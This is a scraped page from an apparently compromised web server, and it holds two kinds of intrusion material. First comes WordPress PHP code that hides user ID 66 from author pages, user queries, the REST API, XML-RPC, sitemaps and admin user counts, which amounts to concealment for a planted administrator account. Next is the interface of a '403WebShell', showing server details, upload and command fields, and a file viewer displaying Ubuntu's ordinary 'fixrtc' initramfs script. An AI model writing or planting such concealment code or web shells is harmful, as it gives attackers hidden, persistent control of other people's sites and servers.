add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/initramfs-tools/scripts/local-premount/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/initramfs-tools/scripts/local-premount/fixrtc
#!/bin/sh -e
# initramfs local-premount script for fixrtc

PREREQ=""

# Output pre-requisites
prereqs()
{
        echo "$PREREQ"
}

case "$1" in
    prereqs)
        prereqs
        exit 0
        ;;
esac

# use the fixrtc cmdline option in your bootloader to
# automatically set the hardware clock to the date of
# the last mount of your root filesystem to avoid fsck
# to get confused by the superblock being in the future

BROKEN_CLOCK=""
ROOTDEV=""
# System partition is currently used by ubuntu touch only
SYSTEMPART=""

# shellcheck disable=SC2013
for x in $(cat /proc/cmdline); do
        case ${x} in
        root=*)
                value=${x#*=}

                # Find the device node path depending on the form of root= :
                case ${value} in
                UUID=*)
                        ROOTDEV=/dev/disk/by-uuid/${value#UUID=}
                        ;;
                LABEL=*)
                        ROOTDEV=/dev/disk/by-label/${value#LABEL=}
                        ;;
                *)
                        ROOTDEV=${value}
                        ;;
                esac
        ;;
        systempart=*)
                value=${x#*=}

                # Find the device node path depending on the form of root= :
                case ${value} in
                UUID=*)
                        SYSTEMPART=/dev/disk/by-uuid/${value#UUID=}
                        ;;
                LABEL=*)
                        SYSTEMPART=/dev/disk/by-label/${value#LABEL=}
                        ;;
                *)
                        SYSTEMPART=${value}
                        ;;
                esac
                # if systempart= is defined we do not want root=/dev/ram
                # been taken into account
                [ "$ROOTDEV" = "/dev/ram" ] && ROOTDEV=""
        ;;
        fixrtc)
                BROKEN_CLOCK=1
        ;;
        esac
done

# Touch devices might not have a valid 'root', so use system part if available
if [ -z "$ROOTDEV" ] && [ -n "$SYSTEMPART" ]; then
        ROOTDEV=$SYSTEMPART
fi

if [ -n "$BROKEN_CLOCK" ] && [ -n "$ROOTDEV" ]; then
        # need udev settle for /dev/disk/by-* symlinks to be added
        udevadm settle

        wait-for-root "$ROOTDEV" "${ROOTDELAY:-180}" >/dev/null

        ROOTDISK=$(readlink -f "$ROOTDEV")

        MOUNTDATESTR=$(dumpe2fs -h "$ROOTDISK" 2>/dev/null|grep "Last mount time")
        # Trim whitespace for busybox
        MOUNTDATE="${MOUNTDATESTR#*:}"
	MOUNTDATE="${MOUNTDATE#"${MOUNTDATE%%[![:space:]]*}"}"

        CREATEDATESTR=$(dumpe2fs -h "$ROOTDISK" 2>/dev/null|grep "Filesystem created") || true
        # Trim whitespace for busybox
        CREATEDATE="${CREATEDATESTR#*:}"
	CREATEDATE="${CREATEDATE#"${CREATEDATE%%[![:space:]]*}"}"

        # Hide stderr to avoid ugly message:
        #  can't open '/dev/misc/rtc': No such file or directory
        # on pi2 (and possible more PIs) where there is no /dev/rtc of
        # any kind. We still need to keep this call because we use
        # fixrtc on all armhf images.
        hwclock -s 2>/dev/null || true

        # make sure we're also compatible with busybox, if available
        DATE="/bin/date -D%c"
        date -D%c 2>/dev/null 2>&1 || DATE=/bin/date

        if [ "$MOUNTDATE" = "n/a" ]; then
            # some versions of mkfs set n/a now, date is not happy with this so
            # let us use some half way sane epoch instead
            MOUNTDATE="Fri Jan 1 00:00:00 1999"
        fi
        TIMESTR=$MOUNTDATE
        TIME=$(${DATE} --utc --date "${TIMESTR}" +%s)

        CURTIME=$(${DATE} --utc +%s)

        # in case the created time is newer than last mount, use that instead
        if [ -n "$CREATEDATE" ]; then
                CREATETIME=$(${DATE} --utc --date "${CREATEDATE}" +%s)
                if [ "$CREATETIME" -gt "$TIME" ]; then
                        TIMESTR=$CREATEDATE
                        TIME=$CREATETIME
                fi
        fi

        if [ "$TIME" -gt "$CURTIME" ]; then
                ${DATE} --set="${TIMESTR} 1 minute" >/dev/null 2>&1
        fi

fi

# This script is best-effort.  If we couldn't fudge the clock as desired,
# just try to carry on boot anyway:
# It will probably fail, but we won't have made the situation any worse.
exit 0

Youez - 2016 - github.com/yon3zu
LinuXploit